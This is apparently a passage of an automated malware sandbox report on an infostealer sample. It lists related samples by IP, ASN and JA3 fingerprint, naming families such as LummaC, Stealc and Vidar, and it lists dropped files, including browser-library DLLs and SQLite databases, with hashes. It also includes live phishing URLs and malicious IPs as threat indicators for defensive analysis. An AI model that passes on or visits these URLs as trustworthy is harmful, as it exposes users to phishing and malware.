	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	172.66.47.118
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://sikoip.cfd	Get hash	malicious	Unknown	Browse	104.21.74.42
	https://url.us.m.mimecastprotect.com/s/cx8GCJ6Aj8C8mZ33UVfXHy0nVz?domain=canva.com	Get hash	malicious	Unknown	Browse	104.16.103.112
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
AKAMAI-ASN1EU	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	2.16.229.126
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	184.85.178.180
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.200.0.38
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	23.200.3.19
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.117.182.56
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	88.221.110.179
	boatnet.m68k.elf	Get hash	malicious	Unknown	Browse	172.236.11.132
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.43
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	23.219.82.26
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.62
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	13.107.246.63
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.28.47
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	13.107.246.63
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.62
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.62
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	20.76.201.171
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	https://pib.login-uk.mimecast.com/u/login/?gta=secure&tkn=3.NC0QDc8Wcx0dHYIyK87aHx-6EOCiyG0Ksn5KcwbjKTBX0aWXz_pzSxGNasCXm0IvpIy6CFFQvQyXFXm7InF3zIueswFC_GPgsliIBZrOHFx--kjuP6hbmebwSKGhqZpX.EzM5YqGuvKf-M-m1D6Kp1Q#/change-password/IVoqqJ6PETXLx5ML9Tojj40C5CNhzMmc56xAK6aopPIIVkr_FpvggkqGZT9jZhzNRNzZnBC0FBFYpZ_ZeaW9u3xoKEnXd74qgZ09wVf-ih5sQlp_JK2KbVZ2bIzCnJ_PgBKMn4FKWik_kEEHerQwBEmxCta_xDAcNwP3U9L5w0JXE41fUT_xtnIsBQVbgUGpgC9dQuMmbk7bgBNC-Y0P9KydDFdsQU-AyTVGS1gscgcKiFrw7--s1-72XJ9F0NowHMkBZk_APYXQbA3MY_sV7A	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	https://url.us.m.mimecastprotect.com/s/cx8GCJ6Aj8C8mZ33UVfXHy0nVz?domain=canva.com	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	https://1.midlifemouse.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVFXRTNlSFU9JnVpZD1VU0VSMTIxMTIwMjRVNTUxMTEyMjQ=N0123Nexample@email.com	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfoYHiuPSKQTlPsTmGKWhJo6CB1T1AJI0Ng6lXheytWQK64FQ9fZMmvPyn2m-2FBbpOFw-3D-3DeITO_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiK0sNR0p6qpefM4iEmPWziaOewswA00aDq7wvcNNH80ndQj9CncuidPzyrDEdMs65iWKbNVV-2FmU9TbukNj-2FicE0QhgzstHHAHDXYlbxCKcO7EtAFWAJoKqX3q5xt9Oa7YesS8-2F5zc7Z5V9RTeamF-2F0-2BvvKvokHXQs-2BxoWQKaUBjPewgaGQ56NNPBqOihkhW7Dcmtt-2B3bcLIgKfQsKreEmCiVox-2BYFecw4jK-2F1OqmVaDqU-3D	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50 20.231.128.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\AAKKKEBFCGDBGDGCFHCBGIIIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKJDGDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2657403129427098
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM0SAELyKOMq+8ETZKoxAXCVumC:K0q+n0J09ELyKOMq+8ET8cU9
MD5:	480BBDE2C3D213C487C4025898A29FE6
SHA1:	B8FCD9BAF9784F912436745F43D5BCD05D26A6B9
SHA-256:	BA6B28007DDA336DCDAB6265D859157778B45B358B71A6EBEA6974A3623427F7
SHA-512:	A3F1AE8575EE364466077C8784F726871CB04AA1880D1380BD0942C98B5D7C8E693AE60051DD7A827FC891AB8E4CCD453C5614892C9F1BA4CFF6EE7E0C540015
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAECFCAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKKEHDHCBFIEBFBGIDGHJJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03862698848467049
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxAserRNbekZ3DmVxL1HI:58r54w0VW3xWmfRFj381
MD5:	507BA3B63F5856A191688A30D7E2A93A
SHA1:	1B799649D965FF1562753A9EB9B04AC83E5D7C57
SHA-256:	10A34BE61CD43716879A320800A262D0397EA3A8596711BDAE3789B08CB38EF8
SHA-512:	7750584100A725964CAE3A95EC15116CDFE02DE94EFE545AA84933D6002C767F6D6AF9D339F257ED80BDAD233DBF3A1041AB98AB4BF8B6427B5958C66DCEB55F
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGHCAKKEGCAAFHJJJDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9526
Entropy (8bit):	5.515924904533179
Encrypted:	false
SSDEEP:	192:efniR4oYbBp6Sp0pUhUxaXd6Y4nysZM2WklbBNBw8DUSl:hejGpCUvY4ysn7tpwx0
MD5:	4580799F1DC5720A7EC1766400E98740
SHA1:	92FD30F47EC545245B934EA492B3C64D5E609AA9
SHA-256:	57F457D69933E9E8A98C32A05EEE96171419977D45AFFA674A9761556656B9FA
SHA-512:	C0787F6584D1D26EBFD5AE59F32046CF1FF5AD1BEB1443F2FE93EB89EFA2F216CBC98E101BA3E38A2837ED9411A9DE1370E29ED96E83D8096547E53FEE964567
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "d3d72102-142d-47cc-a7b7-5b20541f2540");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696496527);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696496528);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EGIDAAFIEHIEHJKFHCAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDHDAECBGCAKEBAEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\13b8e49f-d4ac-40b9-94e5-1e716cca8959.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58896
Entropy (8bit):	6.104320175088787
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynMbmCBS2qX7bywgorQXdbiR3oM:z/0+zI7ynQmkS20cXdbe3
MD5:	B8A88D55E4D729E8B5C68B03E58341BF
SHA1:	8EAF6B57E712F370201DE71572AA0A93BC71CCD5
SHA-256:	FE4AE6C2D9A249596A09AF99175543A264454D064712D61F0648CCB2284EF456
SHA-512:	4D7AABF161F9A8D24772DEEDEAC4A4CEA8F4C949F1615F7DF790766EDB5861023EA3E65C052172D71BCB5F1F67F0A085EAD3537B60E9518EEC7419C075B9EBDF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4bddcbf4-d047-49e7-a220-5e4950851406.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58978
Entropy (8bit):	6.104471203409426
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOubJCBS2qX7bxwgorQXdbiR3oM:z/0+zI7yOWJkS20HXdbe3
MD5:	E02CF0142B1FB11BE84C59F35D71F23C
SHA1:	C36C551297F4CA2E06F51DA2B7364C877F6C492C
SHA-256:	2D211C96A939AFF7AF8731B122F97F028F8E3950A177CE0353FFAF3102D5B0D5
SHA-512:	4C2AF8AF550EDE0A0C0C4A018D0D6C323161DA50F1D9B587F2CE5A7C6030EB3435C7E751AF5577C52F886124CE6BAA0C02C0151E1FFD7E8ADFC64DE96BFFFA56
Malicious:	false
